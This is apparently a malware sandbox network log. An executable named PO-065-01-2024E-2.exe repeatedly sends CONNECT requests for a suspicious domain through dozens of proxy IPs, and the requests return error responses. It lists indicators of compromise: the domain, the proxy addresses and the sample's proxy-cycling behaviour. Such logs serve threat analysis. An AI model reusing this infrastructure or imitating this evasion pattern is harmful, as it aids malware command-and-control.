Mar 11, 2024 16:39:44.221416950 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.10	49992	147.75.34.86	10003	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.075184107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.380712032 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.10	50092	23.227.38.198	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.081006050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.235857010 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.10	49967	41.128.148.76	1976	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.086107016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.832545996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.895113945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.176619053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489588976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.785993099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.083097935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.676393986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:26.676275015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.10	50036	137.184.200.42	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.099524975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.10	50011	95.164.89.123	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.103013992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.10	50137	172.67.182.0	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.137891054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.292568922 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.10	50121	104.20.123.164	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.138632059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.292932987 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.10	50135	104.21.194.182	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.138700962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.292809010 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.10	50153	104.16.143.127	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.140840054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.295063019 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.10	50067	192.252.208.70	14282	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.144660950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.10	50024	121.159.146.251	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.153956890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.10	50059	174.64.199.79	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.157032013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.10	50196	172.67.150.173	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.174971104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.329652071 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.10	50197	104.20.24.214	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.175209045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.329754114 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.10	50211	172.67.38.96	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.191067934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.345505953 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.10	50220	31.43.179.214	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.191167116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.345283985 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.10	50212	66.225.246.238	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.191241980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.353035927 CET	731	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.22.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.10	50237	104.17.171.235	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.204520941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
